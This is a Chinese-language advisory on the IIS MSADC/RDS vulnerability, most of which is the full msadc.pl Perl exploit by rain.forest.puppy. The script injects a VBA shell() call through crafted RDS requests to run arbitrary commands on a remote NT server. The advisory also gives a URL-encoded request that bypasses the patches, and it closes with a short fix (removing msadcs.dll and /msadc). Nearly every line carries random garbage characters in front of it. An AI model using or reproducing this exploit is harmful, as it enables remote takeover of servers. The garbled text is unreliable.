IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
~'{VaYk]v %I}'Vb{C 涉及程序：
hXTYTbTX Microsoft NT server
O m6Mmoqh niAZ$w 描述：
WKOI \ 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
#G~wE*VR$ RNe9h lr 详细：
vX 1W@s 如果你没有时间读详细内容的话，就删除:
9 t A E#A c:\Program Files\Common Files\System\Msadc\msadcs.dll
B!iFmkCy 有关的安全问题就没有了。
FE}s#n_Pd kwc*is 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
23k)X"5 oN ;-M-( 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
pU@YiwP"]x 关于利用ODBC远程漏洞的描述，请参看:
I ywiCMjH )r#,M L http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm hpas'H>J O!,Ca1N 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
l.uN$B http://www.microsoft.com/security/bulletins/MS99-025faq.asp Z* Zc]hD Bs@:rhDi 这里不再论述。
8W@dtZ,d yWmrdvL 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
9BO|1 { wA1Ey:q /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
XD
5n]AL 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
OOfy Gvs []=_<]{ <OIUyZS #将下面这段保存为txt文件，然后: "perl -x 文件名"
}1,'rm T FvAb h]/4 #!perl
s!aO*\[<h #
3l$E8?[Zwi # MSADC/RDS 'usage' (aka exploit) script
y,V6h*x2 #
9u?Eb~ #$ # by rain.forest.puppy
VZTmzIk.Y #
X'xUwT|_+ # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
l[Tt[n # beta test and find errors!
@w MQC\Z |SxMN %M! use Socket; use Getopt::Std;
},v&r kwR getopts("e:vd:h:XR", \%args);
]d^ k4 d 'H!V54
\j print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
TqXg e{ r W oWBs)E if (!defined $args{h} && !defined $args{R}) {
FN>L7
*,0 print qq~
<c(&T<$ Usage: msadc.pl -h <host> { -d <delay> -X -v }
_TrZ'iL}T -h <host> = host you want to scan (ip or domain)
8<Xq=*J+ -d <seconds> = delay between calls, default 1 second
}a' cm!" -X = dump Index Server path table, if available
. Jptj -v = verbose
)O9f hj ) -e = external dictionary file for step 5
WqR7uiCi ygMd$0:MN Or a -R will resume a command session
:Jm!=U%'Z #s*k|
j} ~; exit;}
}iMXXXBOT K[e`t%2_ $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
xUIvLH= if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
gt~9"I if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
e ~3]/BL if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
@`5QG2 $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
|^ ?`Q.|c$ if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
<>VID E Qg[h eND if (!defined $args{R}){ $ret = &has_msadc;
b$dBV}0 L die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
7&h\l6}Yh >B`Cch/ 'U print "Please type the NT commandline you want to run (cmd /c assumed):\n"
*B %y`cj| . "cmd /c ";
zf`5>h| $in=<STDIN>; chomp $in;
]9#CVv[rq $command="cmd /c " . $in ;
1]Gf)| 7,f:Qi@g if (defined $args{R}) {&load; exit;}
h,]tQ#!s8 eU`;L [ print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
F|6
nwvgq &try_btcustmr;
3x P~~j;7 JR] )xPI` print "\nStep 2: Trying to make our own DSN...";
-!@H[" &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
jiq i!* 0h^uOA; c print "\nStep 3: Trying known DSNs...";
vf6`s\6 &known_dsn;
Rq"VB.ef&{ dJloH)uJZ> print "\nStep 4: Trying known .mdbs...";
Ih(:HFRMq6 &known_mdb;
$|rCrak; [+y &HNf if (defined $args{e}){
fBf]4@{ print "\nStep 5: Trying dictionary of DSN names...";
_cR6ik zW( &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
NS
h%t+XU] ?0 HR(N(z! print "Sorry Charley...maybe next time?\n";
P a3{ Ds exit;
L7X7Zt8%
0K&_D) ##############################################################################
>ze>Xr'm5= BHEs+ e0 sub sendraw { # ripped and modded from whisker
4A;[s m^f sleep($delay); # it's a DoS on the server! At least on mine...
dUI3erO my ($pstr)=@_;
3(aRs?/ O socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
Mg HOj die("Socket problems\n");
D% oueW if(connect(S,pack "SnA4x8",2,80,$target)){
bh{E& 1sLh select(S); $|=1;
<_=JMA5 print $pstr; my @in=<S>;
G}182"#4 select(STDOUT); close(S);
KrJ 5"1= return @in;
#c6ui0E%;t } else { die("Can't connect...\n"); }}
lq~Gc M B. V?s,U ##############################################################################
>s;oOo+5 :x8Jy4L sub make_header { # make the HTTP request
0Ul xp my $msadc=<<EOT
5P-K *C& POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
@m5O{[euj< User-Agent: ACTIVEDATA
(}9cD^F0n Host: $ip
F(J\ctha Content-Length: $clen
| -JI`!7 Connection: Keep-Alive
s[Y)d>~\$= MomLda
V9Q ADCClientVersion:01.06
k}- "0> Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
mfj4`3:N V lq; --!ADM!ROX!YOUR!WORLD!
/7c2OI=\ Content-Type: application/x-varg
m k#>Dpy? Content-Length: $reqlen
r3n=<l!Jr &B?@@ 6 EOT
fx]\) 0n ; $msadc=~s/\n/\r\n/g;
[Bl
$If U return $msadc;}
_`TepX R 9 8X!uh' ##############################################################################
x*NqA( r d-9uv|SJ sub make_req { # make the RDS request
_Ngx$ my ($switch, $p1, $p2)=@_;
> .a+: my $req=""; my $t1, $t2, $query, $dsn;
hfJrQhmE b\ kN_ if ($switch==1){ # this is the btcustmr.mdb query
&mX5&e $query="Select * from Customers where City=" . make_shell();
Is4%}J!8 $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
/p[|DJo M $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
b{ Z^)u2X T+` xr0 elsif ($switch==2){ # this is general make table query
*!._Ais,\ $query="create table AZZ (B int, C varchar(10))";
6XQ*:N/4al $dsn="$p1";}
"9c.C I q > Q:X3
elsif ($switch==3){ # this is general exploit table query
$ \? N<W $query="select * from AZZ where C=" . make_shell();
59&T / $dsn="$p1";}
.}IK}A/- A ~qW. elsif ($switch==4){ # attempt to hork file info from index server
&{X{3 6 $query="select path from scope()";
%4bO_vb<9 $dsn="Provider=MSIDXS;";}
aR`_ h=a 8
m%>:}o elsif ($switch==5){ # bad query
!7 ei1 $query="select";
nAQyxP% $dsn="$p1";}
OpW eW o?:;8]sr! $t1= make_unicode($query);
^n\9AE3 $t2= make_unicode($dsn);
s`$NW^'] $req = "\x02\x00\x03\x00";
o0zc}mm $req.= "\x08\x00" . pack ("S1", length($t1));
9oZ }
h& $req.= "\x00\x00" . $t1 ;
7P3 <o!YA $req.= "\x08\x00" . pack ("S1", length($t2));
Ha46U6_'h $req.= "\x00\x00" . $t2 ;
hgTM5*fD} $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
[W^6u7~ return $req;}
jxR F" GD 8@E gy%_ ##############################################################################
* (?U :z0s*,QH sub make_shell { # this makes the shell() statement
]_^"| RJ return "'|shell(\"$command\")|'";}
\_m\U.* w.4u=e >Z4 ##############################################################################
\zk? $'d r1[E{Tpz sub make_unicode { # quick little function to convert to unicode
R B S[*D my ($in)=@_; my $out;
GM)\)\kNF for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
3::3r}g return $out;}
-/ (DP x !I w{Y' ##############################################################################
c!'A)JD@ )GiFkG sub rdo_success { # checks for RDO return success (this is kludge)
Y9IJ my (@in) = @_; my $base=content_start(@in);
C m,*bgX if($in[$base]=~/multipart\/mixed/){
@ <@R =aqE return 1 if( $in[$base+10]=~/^\x09\x00/ );}
%8}WX@SB return 0;}
7Y-FUZ.`> & +)+5z_d ##############################################################################
4 7)+'` K;@RUy~ sub make_dsn { # this makes a DSN for us
9 _M H my @drives=("c","d","e","f");
sDaT[).Hm print "\nMaking DSN: ";
"E@ NZ*"u foreach $drive (@drives) {
[
4?cM\_u@ print "$drive: ";
4*p_s8> > my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
9%p7B ~}E "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
O:oU`vE . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
M iP[UCh $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
d1 srV` return 0 if $2 eq "404"; # not found/doesn't exist
otmIu` h if($2 eq "200") {
b
xk'a,!S foreach $line (@results) {
|' V<>v.v return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
IqvqvHxLX } return 0;}
_~X8/p/Qh B-y0 ;0 ##############################################################################
x'E' jh% [?|l X$< sub verify_exists {
l fU"SSQ my ($page)=@_;
N>&{Wl'y \ my @results=sendraw("GET $page HTTP/1.0\n\n");
8{}Pj return $results[0];}
ZI2K- z'e dCf'\ @<< ##############################################################################
Bo](n*i p`E|SNt/W sub try_btcustmr {
>cwJl@wx- my @drives=("c","d","e","f");
<r_P?
lZW my @dirs=("winnt","winnt35","winnt351","win","windows");
vh1
Ma<cx p^pQZ6- foreach $dir (@dirs) {
"VT {1(]t print "$dir -> "; # fun status so you can see progress
Lu8%q cC foreach $drive (@drives) {
nhVK? print "$drive: "; # ditto
&X#x9|=&O $reqlen=length( make_req(1,$drive,$dir) ) - 28;
.G5NGB $reqlenlen=length( "$reqlen" );
|0C|$2 $clen= 206 + $reqlenlen + $reqlen;
9[t]] U<ku_(2"# my @results=sendraw(make_header() . make_req(1,$drive,$dir));
p?Z+ z if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
Y0P}KPD else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
bl:a&<F ~c O?S2!W ##############################################################################
4*N@=v [3{:H"t sub odbc_error {
r)9i1rI+ my (@in)=@_; my $base;
)[y!m9 Vn my $base = content_start(@in);
)H[h53bIq if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
_H^^2#wc/ $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
Hob Gl0<y $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
N[ +o[%A $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
|? ;"B:0 return $in[$base+4].$in[$base+5].$in[$base+6];}
d+YVyw.z print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
YO.` l~ v print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
K%[}[.cW $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
] HN T(w@ )M&Azbu ##############################################################################
*7xQp!w^ +YQ)}v sub verbose {
fw(j6:p my ($in)=@_;
MYDf`0{$_a return if !$verbose;
jt'Y(u]2 print STDOUT "\n$in\n";}
S+_A
<p 0] :*v? ##############################################################################
O)$ N}V0 WQI M2_=M sub save {
GDo)6du my ($p1, $p2, $p3, $p4)=@_;
c"%_]7 open(OUT, ">rds.save") || print "Problem saving parameters...\n";
&dZ.+#8r print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
y]E)2:B[d close OUT;}
7)8rc(58 np'M4^E; ##############################################################################
{jx#^n&5R ;H m-,W sub load {
0btmao- my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
cjy0s+>> open(IN,"<rds.save") || die("Couldn't open rds.save\n");
bbQ 10H @p=<IN>; close(IN);
8M3p\}O $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
>n$E e J $target= inet_aton($ip) || die("inet_aton problems");
IxEQh)J X print "Resuming to $ip ...";
?v )"%. $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
$X.'W\o| if($p[1]==1) {
hIzPy3 $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
%~B)~|h $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
\0* yxSg,^ my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
QRg"/62WCD if (rdo_success(@results)){print "Success!\n";}
/\3XARt else { print "failed\n"; verbose(odbc_error(@results));}}
=C G!"&T elsif ($p[1]==3){
\K_!d]I { if(run_query("$p[3]")){
N)
V7yo? print "Success!\n";} else { print "failed\n"; }}
Vne. HFXA elsif ($p[1]==4){
\J3v>&m<7 if(run_query($drvst . "$p[3]")){
8,H#t@+MT print "Success!\n"; } else { print "failed\n"; }}
% b>y exit;}
X."h Tha5 -pU\"$nuxH ##############################################################################
0-t 4+T
4s1kZ`e sub create_table {
P 5
<85t my ($in)=@_;
1 ^ WA $reqlen=length( make_req(2,$in,"") ) - 28;
QX.F1T 2e? $reqlenlen=length( "$reqlen" );
8&2gM $clen= 206 + $reqlenlen + $reqlen;
_,K>u6N& my @results=sendraw(make_header() . make_req(2,$in,""));
Ro3I/NI> return 1 if rdo_success(@results);
HhQ PgjZ/ my $temp= odbc_error(@results); verbose($temp);
Tl/Dq(8JH return 1 if $temp=~/Table 'AZZ' already exists/;
^Lg{2hjj return 0;}
P :7l#/x_ !Lg}q!*%>V ##############################################################################
w=P <4 bdT E3.W#=o sub known_dsn {
e~2*> 5\: # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
V)?x*R*T) my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
# :ED 0</ "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
`M pC<sit "banner", "banners", "ads", "ADCDemo", "ADCTest");
PE;0
jgsiI q I V`zZc foreach $dSn (@dsns) {
6q
xUT print ".";
z5o9\.y({ next if (!is_access("DSN=$dSn"));
On9 6N| if(create_table("DSN=$dSn")){
S }xDB print "$dSn successful\n";
(?&_6B.* if(run_query("DSN=$dSn")){
! 4^L $ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
%BYlbEx print "Something's borked. Use verbose next time\n";}}} print "\n";}
`aWwF}
+Y }&C!^v
o ##############################################################################
HU'`kimWb T=f;n;/> sub is_access {
-Bwu$$0 my ($in)=@_;
e,j ? _p $reqlen=length( make_req(5,$in,"") ) - 28;
kAQ\t?`x $reqlenlen=length( "$reqlen" );
Vp-OGX[ $clen= 206 + $reqlenlen + $reqlen;
cwW~ *90# my @results=sendraw(make_header() . make_req(5,$in,""));
- m x3^ my $temp= odbc_error(@results);
n5,Pq+[ verbose($temp); return 1 if ($temp=~/Microsoft Access/);
&< #BsFz return 0;}
Kn9=a -b?, [>]VN)_J5 ##############################################################################
u2.r,<rC*Q 2S10j%EeI sub run_query {
@Qsg.9N3K my ($in)=@_;
&40JN} $reqlen=length( make_req(3,$in,"") ) - 28;
[Ey%uh
6* $reqlenlen=length( "$reqlen" );
%Ty
{1'o $clen= 206 + $reqlenlen + $reqlen;
fdH'z:Xao my @results=sendraw(make_header() . make_req(3,$in,""));
v8fZ?dx return 1 if rdo_success(@results);
pt|$bU 7 my $temp= odbc_error(@results); verbose($temp);
|Nd. '|g, return 0;}
MIyLQ 5tCq}]q#P ##############################################################################
m{yNnJ3O , "M UfZ sub known_mdb {
buM>^A" my @drives=("c","d","e","f","g");
3v3V a~fm` my @dirs=("winnt","winnt35","winnt351","win","windows");
2 .&V my $dir, $drive, $mdb;
1oW]O@R my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
Vqp.jF1| d<cbp [3F # this is sparse, because I don't know of many
Ex s _LN my @sysmdbs=( "\\catroot\\icatalog.mdb",
+ MoxvW6 "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
+fQ$~vr{' "\\system32\\certmdb.mdb",
PM?Ri^55<L "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
KZ
>"L !VZCM{ my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
.STf "\\cfusion\\cfapps\\forums\\forums_.mdb",
Nwu Be:"@ "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
xg5@;p "\\cfusion\\cfapps\\security\\realm_.mdb",
PQ #-. K "\\cfusion\\cfapps\\security\\data\\realm.mdb",
,c %gwzU "\\cfusion\\database\\cfexamples.mdb",
I;m@cSJ|j "\\cfusion\\database\\cfsnippets.mdb",
EV,NJ3V "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
yURh4@ "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
Qs[EA_ "\\cfusion\\brighttiger\\database\\cleam.mdb",
om39;nk!} "\\cfusion\\database\\smpolicy.mdb",
N*oJ$:# "\\cfusion\\database\cypress.mdb",
^d $e^cU "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
U
&k 3 "\\website\\cgi-win\\dbsample.mdb",
Pc
?G^
Xol "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
F1[ [fH "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
3\l9Sf=M| ); #these are just
]~ 8N foreach $drive (@drives) {
<.B > LU foreach $dir (@dirs){
mt]YY<l foreach $mdb (@sysmdbs) {
wU3ica&[ print ".";
kX .1# %Ex if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
b6$ A@ b print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
9oN'.H^ if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
)PNH| h print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
8uD%]k= #! } else { print "Something's borked. Use verbose next time\n"; }}}}}
p~;z"Z (2\ek ct ^ foreach $drive (@drives) {
(>lqp%G~ foreach $mdb (@mdbs) {
[&k k print ".";
cZF;f{t if(create_table($drv . $drive . $dir . $mdb)){
,^[37 /S print "\n" . $drive . $dir . $mdb . " successful\n";
0$h$7'a if(run_query($drv . $drive . $dir . $mdb)){
6] A\8Ty print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
l fhKZX } else { print "Something's borked. Use verbose next time\n"; }}}}
DmA !+ }
"1 TM LO*a>9LI ##############################################################################
GT}# iM xfQ;5n sub hork_idx {
` Z V'7| print "\nAttempting to dump Index Server tables...\n";
{"AYOc>2| print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
s+G9L)b' $reqlen=length( make_req(4,"","") ) - 28;
5{f/H]
P $reqlenlen=length( "$reqlen" );
zw: b7B] $clen= 206 + $reqlenlen + $reqlen;
8$tpPOhzb my @results=sendraw2(make_header() . make_req(4,"",""));
]1$AAmQH if (rdo_success(@results)){
),FN29mZu my $max=@results; my $c; my %d;
>d[vHyA~!D for($c=19; $c<$max; $c++){
t7%Bv+Uo $results[$c]=~s/\x00//g;
z#67rh { $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
nE$ V<Co} $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
d"uM7PMs7x $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
05zdy-Fb $d{"$1$2"}="";}
|}Z"|-Z foreach $c (keys %d){ print "$c\n"; }
QN5N h s } else {print "Index server doesn't seem to be installed.\n"; }}
0# GwhB U.} =j'Us+ ##############################################################################
yAkN2 u<r('IW0 sub dsn_dict {
@
MoMU open(IN, "<$args{e}") || die("Can't open external dictionary\n");
A+ *(Pds while(<IN>){
GB Un" _J $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
?Og ;W9i next if (!is_access("DSN=$dSn"));
F<<H [,%0 if(create_table("DSN=$dSn")){
> (J!8*7 print "$dSn successful\n";
WoR**J?}w if(run_query("DSN=$dSn")){
5 : > print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
v333z << S print "Something's borked. Use verbose next time\n";}}}
4B>|Wft{p] print "\n"; close(IN);}
_
L6>4 DuZ]g# ##############################################################################
Rzj! ~`&N {]N?DmF sub sendraw2 { # ripped and modded from whisker
[NDYJ'VGe sleep($delay); # it's a DoS on the server! At least on mine...
3+PM_c)Y my ($pstr)=@_;
@D{[Hj`< socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
!-Q!/? die("Socket problems\n");
{D.0_=y~2 if(connect(S,pack "SnA4x8",2,80,$target)){
;8kfgp M_ print "Connected. Getting data";
@}RyW&1Z open(OUT,">raw.out"); my @in;
QCnVZ" !( select(S); $|=1; print $pstr;
Y0'^S<ox while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
#Jb$AA! z close(OUT); select(STDOUT); close(S); return @in;
#>NZN1 } else { die("Can't connect...\n"); }}
1S@k=EKM (G'ddZAJV ##############################################################################
,urkd~ :Dm@3S$4< sub content_start { # this will take in the server headers
}Ec "& my (@in)=@_; my $c;
lK@r?w|<M for ($c=1;$c<500;$c++) {
'*.};t~;"d if($in[$c] =~/^\x0d\x0a/){
: P 2;9+v if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
*xKR ;?. else { return $c+1; }}}
t":>O0>cz return -1;} # it should never get here actually
+}'K6x_ "FD~XSRL ##############################################################################
Ctx K{: Pk2 "\y@q/ sub funky {
Z)4P>{ my (@in)=@_; my $error=odbc_error(@in);
YZD]<ptR if($error=~/ADO could not find the specified provider/){
MkG ->* print "\nServer returned an ADO miscofiguration message\nAborting.\n";
Jrl
xa3 [ exit;}
} k~0R-m if($error=~/A Handler is required/){
,PAKPX9v_F print "\nServer has custom handler filters (they most likely are patched)\n";
G _o4A:2 exit;}
`;hBO#(H0} if($error=~/specified Handler has denied Access/){
Xb;`WE gC print "\nServer has custom handler filters (they most likely are patched)\n";
6P $q7G exit;}}
?!vW&KJZx .=D6<4#t ##############################################################################
:v48y.Ij7s ;W:Q} [ sub has_msadc {
!%=k/|# my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
O;tn5 my $base=content_start(@results);
Vt>E\{@[t return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
]t<%>Z$ return 0;}
/ nRaxzf' '?4[w]0J< ########################
O#k+.LU nQC[[G *x o! d0 解决方案：
rk p0ej2- 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
o)DKP>IM# 2、移除web 目录: /msadc
